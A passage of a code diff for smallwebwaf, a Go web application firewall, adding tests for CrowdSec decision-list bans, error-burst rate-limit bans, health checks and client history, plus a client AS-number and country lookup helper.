+		held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
+		!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
+		held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
+		t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
+			"the request in its notes", held)
+	}
+
+	// The listing raises a reputation_hit alert, and the ban its own.
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
+		waiting[0].Reason != "listed by the CrowdSec decision list" ||
+		!reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
+			expires)) {
+		t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
+			waiting)
+	}
+
+	// Each request while the ban lasts is refused under it, as under any
+	// ban, and once it has ended the client is let through.
+	clk.advance(4*time.Hour - time.Second)
+
+	line = s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+	wantReputation(t, line)
+
+	if line.BanExpires != expires {
+		t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
+	}
+
+	clk.advance(time.Second)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	// The ban and the hit are counted, and the list has the metrics of any
+	// list fetched from a URL.
+	metrics := s.scrape()
+	labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}`
+
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="crowdsec",`+
+		`instance="`+alertInstance+`"}`, 1)
+	wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 1)
+	wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0)
+	wantMetric(t, metrics, "smallwebwaf_reputation_last_fetch_timestamp_seconds"+labels,
+		float64(fetched.Unix()))
+}
+
+func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server := startWithClock(t, "", map[string]string{
+		crowdSecURL: lapi, crowdSecKey: bouncerKey,
+	})
+	// 198.51.100.0/24 and 2001:db8::9 had a minute left as the engine
+	// answered.
+	fetched := clk.Now()
+	loadDecisions(t, server, fetched, `[{"duration": "1m0s", `+
+		`"scenario": "crowdsecurity/http-probing", "scope": "Range", "type": "ban", `+
+		`"value": "198.51.100.0/24"}, {"duration": "1m0s", `+
+		`"scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", `+
+		`"value": "2001:db8::9"}]`)
+
+	// Just before its end, the decision bans a client in the netblock, and
+	// one on an IPv6 address bans the address's group, the /64.
+	clk.advance(time.Minute - time.Nanosecond)
+	s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionBanned)
+	s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionBanned)
+	s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionBanned)
+
+	// Once it has ended, it bans no other client, and the bans it made end
+	// with it.
+	clk.advance(time.Nanosecond)
+
+	for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
+		wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
+	}
+
+	if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
+		t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
+			"2001:db8::/64", made)
+	}
+
+	if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
+		t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
+	}
+}
+
+func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		crowdSecURL: lapi, crowdSecKey: bouncerKey, mode: observe,
+	})
+	loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
+		`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
+		`"value": "`+client+`"}]`)
+
+	line := s.get(client, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionBanned)
+	wantReputation(t, line, decisionsURL)
+
+	if held := server.Ledger.Snapshot(); len(held) != 0 {
+		t.Errorf("bans %+v, want none", held)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
+		waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
+		waiting[1].Detail["mode"] != observe {
+		t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
+			"marked observe", waiting)
+	}
+}
+
+// loadDecisions puts into server's lists the copy of the decision list at
+// decisionsURL, answer, the engine's answer, fetched at fetched, as
+// reputation.json would at start.
+func loadDecisions(
+	t *testing.T, server *servewaf.Server, fetched time.Time, answer string,
+) {
+	t.Helper()
+
+	err := server.Lists.Load([]reputation.List{{
+		URL: decisionsURL, Tried: fetched, Fetched: fetched, Lines: []string{answer},
+	}})
+	if err != nil {
+		t.Fatalf("load the decision list: %v", err)
+	}
+}

internal/servewaf/errorburst_test.go

@@ -0,0 +1,366 @@
+package servewaf_test
+
+import (
+	"maps"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+const errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
+
+// refused is a request the tests here send, which servewaf refuses after a rule
+// file match.
+type refused int
+
+const (
+	// blockRule is a request testRules' block rule refuses with 403.
+	blockRule refused = iota
+	// banRule is one its ban rule refuses with 403, and bans the client
+	// for.
+	banRule
+)
+
+// send sends r from the client at from, checks its answer and log line as
+// sender.request does, and returns the line.
+func (r refused) send(s *sender, from string) logLine {
+	s.t.Helper()
+
+	switch r {
+	case blockRule:
+		return s.request(from, blockedPath, http.StatusForbidden,
+			requestlog.ActionRuleBlocked)
+	case banRule:
+		return s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
+	}
+
+	s.t.Fatalf("no request for the refusal %d", r)
+
+	return logLine{}
+}
+
+// startForErrorBurst is startWithClock with testRules, the metrics token and
+// SWWAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
+func startForErrorBurst(
+	t *testing.T, threshold string, env map[string]string,
+) (*sender, *clock, *servewaf.Server) {
+	t.Helper()
+
+	settings := map[string]string{
+		errorBurstThreshold: threshold,
+		rulesDir:            writeRules(t, testRules),
+		metricsToken:        token,
+	}
+	maps.Copy(settings, env)
+
+	return startWithClock(t, "", settings)
+}
+
+func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		// refusals are four, one over the threshold of three.
+		refusals []refused
+	}{
+		{"block rule", []refused{blockRule, blockRule, blockRule, blockRule}},
+		{"a ban rule last", []refused{blockRule, blockRule, blockRule, banRule}},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s, _, _ := startForErrorBurst(t, "3", nil)
+
+			// Three refusals break nothing, and the app's answers between
+			// them are not counted.
+			for i, r := range tc.refusals[:3] {
+				line := r.send(s, client)
+				if line.LimitHit != "" || line.Offence != "" {
+					t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
+						"want none", i+1, line.LimitHit, line.Offence)
+				}
+
+				s.get(client, http.StatusOK, requestlog.ActionForward)
+			}
+
+			// The fourth is answered as the others were, breaks the error
+			// burst, and bans the client.
+			line := tc.refusals[3].send(s, client)
+			if line.LimitHit != requestlog.LimitHitErrorBurst ||
+				line.Offence != requestlog.OffenceLimit {
+				t.Errorf("log line has limit_hit %q and offence %q, want error_burst "+
+					"and limit", line.LimitHit, line.Offence)
+			}
+
+			s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+		})
+	}
+}
+
+func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server := startForErrorBurst(t, "2", nil)
+	start := clk.Now()
+
+	blockRule.send(s, client)
+	blockRule.send(s, client)
+	line := blockRule.send(s, client)
+
+	expires := start.Add(time.Hour)
+	if line.BanExpires != requestlog.FormatTime(expires) {
+		t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
+	}
+
+	netblock := netip.MustParsePrefix(client + "/32")
+	want := bans.Ban{
+		Netblock: netblock,
+		Start:    start,
+		Expires:  expires,
+		Cause:    bans.CauseLimit,
+		Reason:   "refusals per minute over the limit of 2",
+		Notes: bans.Notes{
+			Kind:   ratelimit.KindRefusals,
+			Limit:  2,
+			Window: minute,
+			Count:  3,
+			Request: bans.Request{
+				Time:      start,
+				Method:    http.MethodGet,
+				Host:      appHost,
+				Path:      blockedPath,
+				Status:    http.StatusForbidden,
+				UserAgent: userAgent,
+			},
+			Requests: 3,
+		},
+	}
+
+	got := server.Ledger.Bans(netblock)
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
+	}
+
+	wantOffences := ratelimit.Offences{Limit: 1, RuleBlocked: 3}
+	if offences := historyOf(t, server, client).Offences; offences != wantOffences {
+		t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
+	}
+
+	metrics := s.scrape()
+	wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
+		`kind="refusals",window="minute"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1)
+	wantMetric(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 3)
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1)
+}
+
+func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s, _, server := startWithClock(t, geojsURL, map[string]string{
+		lookupTimeout:       "1h",
+		errorBurstThreshold: "2",
+		rulesDir:            writeRules(t, testRules),
+		countryLimitPercent: countryDEHalf,
+	})
+
+	// Half of the threshold would be one, which the second refusal is over.
+	for range 2 {
+		line := blockRule.send(s, fromDE)
+		if line.LimitHit != "" {
+			t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
+		}
+	}
+
+	blockRule.send(s, fromDE)
+
+	got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
+	if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
+		t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
+	}
+}
+
+func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
+	t.Parallel()
+
+	statuses := map[string]int{
+		"/missing":   http.StatusNotFound,
+		"/private":   http.StatusUnauthorized,
+		"/forbidden": http.StatusForbidden,
+	}
+	s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
+		w.WriteHeader(statuses[r.URL.Path])
+	}, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
+
+	for range 2 {
+		for path, status := range statuses {
+			s.request(client, path, status, requestlog.ActionForward)
+		}
+	}
+
+	// The first refusal is one, not over the threshold.
+	line := blockRule.send(s, client)
+	if line.LimitHit != "" {
+		t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
+	}
+
+	// No ban was made, nor its alert raised.
+	s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
+	wantAlerts(t, queue)
+}
+
+func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		threshold string
+		// broken is whether the 31st refusal breaks the error burst.
+		broken bool
+	}{
+		{"", true},
+		{off, false},
+	} {
+		t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
+			t.Parallel()
+
+			env := map[string]string{rulesDir: writeRules(t, testRules)}
+			if tc.threshold != "" {
+				env[errorBurstThreshold] = tc.threshold
+			}
+
+			s, _, _ := startWithClock(t, "", env)
+
+			var line logLine
+			for range 31 {
+				line = blockRule.send(s, client)
+			}
+
+			if broken := line.LimitHit == requestlog.LimitHitErrorBurst; broken != tc.broken {
+				t.Errorf("the 31st refusal broke the error burst: %t, want %t",
+					broken, tc.broken)
+			}
+		})
+	}
+}
+
+func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
+	t.Parallel()
+
+	const (
+		allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
+		exempt  = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
+	)
+
+	s, _, _ := startForErrorBurst(t, "1", map[string]string{
+		allowNets: allowed, rateLimitExemptNets: exempt,
+	})
+
+	// A client in SWWAF_ALLOW_NETS is not refused, and so not counted.
+	for range 3 {
+		s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
+	}
+
+	// One the rate limits do not apply to is.
+	blockRule.send(s, exempt)
+
+	line := blockRule.send(s, exempt)
+	if line.LimitHit != requestlog.LimitHitErrorBurst {
+		t.Errorf("log line has limit_hit %q, want error_burst", line.LimitHit)
+	}
+
+	s.get(exempt, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
+
+	blockRule.send(s, client)
+	blockRule.send(s, client)
+
+	// Within the same minute, once the ban has ended, the next refusal is
+	// the first again.
+	clk.advance(time.Second)
+
+	line := blockRule.send(s, client)
+	if line.LimitHit != "" {
+		t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
+	}
+}
+
+func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		mode:                observe,
+		errorBurstThreshold: "1",
+		rulesDir:            writeRules(t, testRules),
+	})
+	start := clk.Now()
+	held := bans.Ban{
+		Netblock: netip.MustParsePrefix(otherClient + "/32"),
+		Start:    start,
+		Expires:  start.Add(time.Hour),
+		Cause:    bans.CauseAdmin,
+	}
+	server.Ledger.Load([]bans.Ban{held})
+
+	// Under a ban, enforce mode would have refused these before the rule, so
+	// they are not counted.
+	for range 2 {
+		line := s.request(otherClient, blockedPath, http.StatusOK,
+			requestlog.ActionForward)
+		wantWouldAction(t, line, requestlog.ActionBanned)
+
+		if line.LimitHit != "" {
+			t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
+		}
+	}
+
+	// The block rule's refusal, which enforce mode would have answered 403,
+	// is the second of the client's, and would have banned it.
+	s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
+
+	line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionRuleBlocked)
+
+	if line.LimitHit != requestlog.LimitHitErrorBurst || line.BanExpires != "" {
+		t.Errorf("log line has limit_hit %q and ban_expires %q, want error_burst "+
+			"and none", line.LimitHit, line.BanExpires)
+	}
+
+	if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
+		t.Errorf("bans %+v, want only the one held", got)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 1 {
+		t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
+	}
+
+	notes, _ := waiting[0].Detail["notes"].(bans.Notes)
+	if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
+		notes.Request.Status != http.StatusForbidden {
+		t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
+			notes)
+	}
+
+	alert := banAlert(alerts.EventBan, start, client, bans.Ban{
+		Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
+		Reason: "refusals per minute over the limit of 1", Notes: notes,
+	}, requestlog.FormatTime(start.Add(time.Hour)))
+	alert.Detail["mode"] = observe
+	wantAlerts(t, queue, alert)
+}

internal/servewaf/health_test.go

@@ -0,0 +1,40 @@
+package servewaf_test
+
+import (
+	"net/http"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
+	t.Parallel()
+
+	// With a limit of one request a minute, any request counted before
+	// the last one would have it refused.
+	s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
+
+	const (
+		healthChecks = 3
+		contentType  = "text/plain; charset=utf-8"
+	)
+
+	for range healthChecks {
+		got := s.adminRequest("", http.MethodGet, servewaf.HealthPath, "", http.StatusOK)
+
+		if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
+			t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
+				"with %q", got.body, got.header.Get("Content-Type"), contentType)
+		}
+	}
+
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] {
+		if line.ResponseContentType != contentType {
+			t.Errorf("health check's log line has response_content_type %q, "+
+				"want %q", line.ResponseContentType, contentType)
+		}
+	}
+}

internal/servewaf/history_test.go

@@ -1,4 +1,4 @@
-package proxy_test
+package servewaf_test
 
 import (
 	"io"
@@ -8,9 +8,9 @@ import (
 	"testing"
 	"time"
 
-	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
 )
 
 func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
@@ -18,13 +18,16 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
 
 	geojsURL, _ := startGeoJS(t)
 	s, clk, server := startWithClock(t, geojsURL, map[string]string{
+		lookupTimeout:      "1h",
 		rateLimitPerMinute: "2",
 		deniedCountries:    "kp",
 	})
 	start := clk.Now()
 
 	// Two let through, one over the limit, which bans the client, and one
-	// refused under that ban, for which the country is not looked up.
+	// refused under that ban, for which the client is not looked up. GeoJS
+	// answers about the client at its first request, and its later ones
+	// use that answer.
 	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
 	clk.advance(time.Second)
 	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
@@ -35,8 +38,10 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
 	want := ratelimit.History{
 		FirstSeen: start,
 		LastSeen:  start.Add(2 * time.Second),
+		ASN:       asnDE,
+		ASName:    asNameDE,
 		Country:   "DE",
-		LookedUp:  start.Add(time.Second),
+		LookedUp:  start,
 		Requests:  4,
 		Forwarded: 2,
 		Refused:   2,
@@ -52,6 +57,24 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
 	}
 }
 
+func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"})
+
+	// The third client drops the least recently seen, the first, with its
+	// history.
+	for _, from := range []string{"192.0.2.1", "192.0.2.2", "192.0.2.3"} {
+		s.get(from, http.StatusOK, requestlog.ActionForward)
+	}
+
+	_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
+	if server.Limiter.Len() != 2 || held {
+		t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+
+			"without it", server.Limiter.Len(), held)
+	}
+}
+
 func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
 	t.Parallel()
 
@@ -63,7 +86,7 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
 
 	got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
 	wantStatus(t, got, http.StatusOK)
-	out.requestLine(t)
+	out.endedLine(t)
 
 	history := historyOf(t, server, localhost)
 	if history.RequestBytes != 3 || history.ResponseBytes != 5 {
@@ -72,43 +95,38 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
 	}
 }
 
-func TestHealthEndpointIsNotInTheHistory(t *testing.T) {
+func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
 	t.Parallel()
 
-	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
-	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
+	s, _, server := startWithClock(t, "", map[string]string{metricsToken: token})
 
-	wantStatus(t, get(t, addr, proxy.HealthPath), http.StatusOK)
-	out.requestLine(t)
+	s.adminRequest("", http.MethodGet, servewaf.HealthPath, "", http.StatusOK)
+	s.adminRequest("", http.MethodGet, servewaf.MetricsPath, "", http.StatusUnauthorized)
+	s.scrape()
 
 	if clients := server.Limiter.Snapshot(); len(clients) != 0 {
 		t.Errorf("the table holds %+v, want no client", clients)
 	}
 }
 
-func TestRequestForSmallwebwafIsRefusedOnlyWithoutTheToken(t *testing.T) {
+func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
 	t.Parallel()
 
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
-	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
-		map[string]string{metricsToken: token})
+	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
 
-	// The metrics and the 404 are neither forwarded nor refused; the 401
-	// is refused.
-	scrape(t, addr)
 	wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound)
-	wantStatus(t, get(t, addr, proxy.MetricsPath), http.StatusUnauthorized)
-	out.requestLines(t, 3)
+	out.endedLine(t)
 
 	history := historyOf(t, server, localhost)
-	if history.Requests != 3 || history.Forwarded != 0 || history.Refused != 1 {
+	if history.Requests != 1 || history.Forwarded != 0 || history.Refused != 0 {
 		t.Errorf("history counts %d requests, %d forwarded and %d refused, "+
-			"want 3, 0 and 1", history.Requests, history.Forwarded, history.Refused)
+			"want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused)
 	}
 }
 
 // historyOf returns the history of the client at addr.
-func historyOf(t *testing.T, server *proxy.Server, addr string) ratelimit.History {
+func historyOf(t *testing.T, server *servewaf.Server, addr string) ratelimit.History {
 	t.Helper()
 
 	client := netip.MustParsePrefix(addr + "/32")

internal/servewaf/lookup.go

@@ -0,0 +1,78 @@
+package servewaf
+
+import (
+	"context"
+	"net/http"
+	"net/netip"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+)
+
+// The headers in which an answer of allow gives rproxy the client's AS number
+// and country, for the app, while SWWAF_ADD_LOOKUP_HEADERS is set. Go writes
+// every header name in this form, as it sends it and as it receives it, so
+// X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive.
+const (
+	asnHeader     = "X-Client-Asn"
+	countryHeader = "X-Client-Country"
+)
+
+// lookUp looks up the client's AS number and country, in the lookup
+// database or through GeoJS, and notes them for the log line, unless
+// SWWAF_LOOKUP_SOURCE is off or the client is on a private, loopback or
+// link-local address, which no lookup can place. The lookup database
+// answers at once. With GeoJS, while a setting needs the answer, such as a
+// country list or a biased threshold, a new client's request waits for it,
+// unless refusedWhateverTheAnswer reports true. ctx is the request's own
+// context.
+func (rq *request) lookUp(ctx context.Context, now time.Time) {
+	if rq.h.config.LookupSource == "off" || !canBePlaced(rq.client) {
+		return
+	}
+
+	client := rq.h.clientGroup(rq.client)
+
+	switch {
+	case rq.h.config.LookupSource == "file":
+		rq.lookupAnswer = rq.h.lookupFile.LookUp(client)
+	case rq.refusedWhateverTheAnswer(now):
+		rq.lookupAnswer = rq.h.geojs.LookUpWithoutWaiting(ctx, client)
+		rq.skippedLookupWait = rq.lookupAnswer.Answered.IsZero()
+	default:
+		rq.lookupAnswer = rq.h.geojs.LookUp(ctx, client)
+	}
+
+	rq.lookedUp = true
+	rq.line.ASN = rq.lookupAnswer.ASN
+	rq.line.ASName = rq.lookupAnswer.ASName
+	rq.line.Country = rq.lookupAnswer.Country
+}
+
+// addLookup adds answer, an answer about a client from the lookup
+// database or GeoJS, to the client's history, and to the notes of the bans
+// on its netblock that have no AS number, AS name or country yet.
+func (h *handler) addLookup(answer lookup.Answer) {
+	h.limiter.AddLookup(answer.Client, answer.Answered,
+		answer.ASN, answer.ASName, answer.Country)
+	h.ledger.AddLookup(h.netblock(answer.Client.Addr()),
+		answer.ASN, answer.ASName, answer.Country)
+}
+
+// setLookupHeaders sets the headers that give the client's AS number and
+// country, leaving out one that is unknown.
+func setLookupHeaders(header http.Header, asn, country string) {
+	if asn != "" {
+		header.Set(asnHeader, asn)
+	}
+
+	if country != "" {
+		header.Set(countryHeader, country)
+	}
+}
+
+// canBePlaced reports whether a lookup can place addr: private, loopback
+// and link-local addresses have no AS number or country.
+func canBePlaced(addr netip.Addr) bool {
+	return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast()
+}